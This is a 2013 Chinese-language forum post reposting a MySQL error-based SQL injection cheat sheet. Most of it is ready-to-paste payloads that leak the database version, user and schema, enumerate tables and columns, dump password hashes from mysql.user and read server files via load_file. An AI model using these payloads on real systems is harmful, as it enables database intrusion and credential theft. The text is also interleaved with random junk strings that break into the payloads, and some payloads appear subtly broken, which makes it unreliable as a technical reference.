本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 2 d3 F( K" F( P& w4 t) _
$ D5 r; s1 o' i# s) Q
9 X, h- U8 E" ]0 K3 \$ RMysql暴错注入参考(pdf),每天一贴。。。' T' l* ?6 Z& o9 _) E& ]7 U; R
0 K$ D9 @! W2 ?# W0 F1 B! IMySql Error Based Injection Reference
! S5 }! ^6 C1 I- e& T+ j8 _[Mysql暴错注入参考] \% u: u l% C$ }- R n1 d! X1 R
Authornig0s1992- `* H+ j- x2 y3 ^, \- C6 P4 B
Blog:http://pnig0s1992.blog.51cto.com/
" D; w& Z# ?: T6 G1 [% H# j5 V; ATeAm:http://www.FreeBuf.com/- o- t( l7 e4 r' ~3 R2 U* b
Mysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功% E5 v% B6 E8 f$ ]
小部分版本使用name_const()时会报错.可以用给出的Method.2测试
! M2 M3 b& J% C6 ]3 X查询版本:
9 B+ x: e0 L* Z" z5 W5 LMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+$ c% O& i$ X3 R9 h, j
join+(select+name_const(@@version,0))b)c)
) X2 j# I2 R& dMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro( R" @, \) k& O
up by a)b)" x. [" Y- N7 C* N$ t, F7 l" {
查询当前用户:
; o) |( x) ]3 Q2 GMethod.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c): r8 c/ ~0 o1 D4 ~- L: Z
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r. B n d3 J: ~/ F+ P$ h
and(0)*2))x+from+information_schema.tables+group+by+x)a)
# I- z; `# l+ _- t查询当前数据库:/ Z. d% H9 ^3 f0 k0 e3 |1 g3 _
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)' a! P4 h7 p F7 K0 C# |" O
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
x3 C& _, e: h3 o& u- Y# g" n% hor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
0 F: K8 x, R2 |! Z# I6 w依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+
9 N+ ?; b. d2 C! P! l$ [9 L3 N0 YLIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
' [' _4 O2 B3 t# S( T/ w1 {6 b顺序替换8 n# P, r2 C; B& e
爆指定库数目:
( N& B/ s4 s- A5 v) A9 O' yand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t) g; G$ ^" S) v
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
2 f. h t# a5 R/ [% H0 l' I4 _+by+x)a)+and+1=1 0x6D7973716C=mysql1 U' O0 g& l. F; D6 ]
依次爆表:
9 J, m8 `/ u( H2 z% h4 p, _and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t6 ~1 W. S/ j7 ?1 Y- U
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta6 E1 p& V1 I0 i" d" J2 L
bles+group+by+x)a)+and+1=1
# F: g1 t( u6 [+ y) T7 E, X% g0x6D7973716C=Mysql 将n顺序替换. x) H+ n+ D4 [* q5 N- _* X+ S
爆表内字段数目:
; H5 e5 l3 M8 x0 t% s0 ~% Jand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE$ }% l5 G. U0 `2 S$ P7 ]* Y% v. o
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
/ V( b8 L) h- l, W. c0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
9 h0 V% c2 E* \依次爆字段:
! B4 a. s0 f, G% x* i9 |0 x& Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where8 R( Z7 J9 A* g F
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1, B' c `' U. k% P0 n+ X+ K, q
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1 将n顺序替换" n) [+ r1 S- F
依次暴内容:: Y3 A \1 W4 b
and+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche1 o& Q, x8 z6 m6 o) U" ]
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
Z0 S: t5 j5 n, Y0 Y2 v' v将n顺序替换* W) e- o7 L4 k! p& ]2 j/ `% q
爆文件内容:& d- e0 S; ?7 |/ f o6 T
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
! ]- T* x, n' B$ efrom+information_schema.tables+group+by+a)b) 0 _5 |6 D- ]- `, A9 ^+ k
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
; g. r6 h6 d8 t. N. j4 a4 s* }6 FThx for reading.( |4 s/ L0 m; w7 Y* c: A
7 D% \7 M3 c0 ?) L' ~* Z
不要下载也可以,
* z3 H' @ _2 [; @. J, C9 w |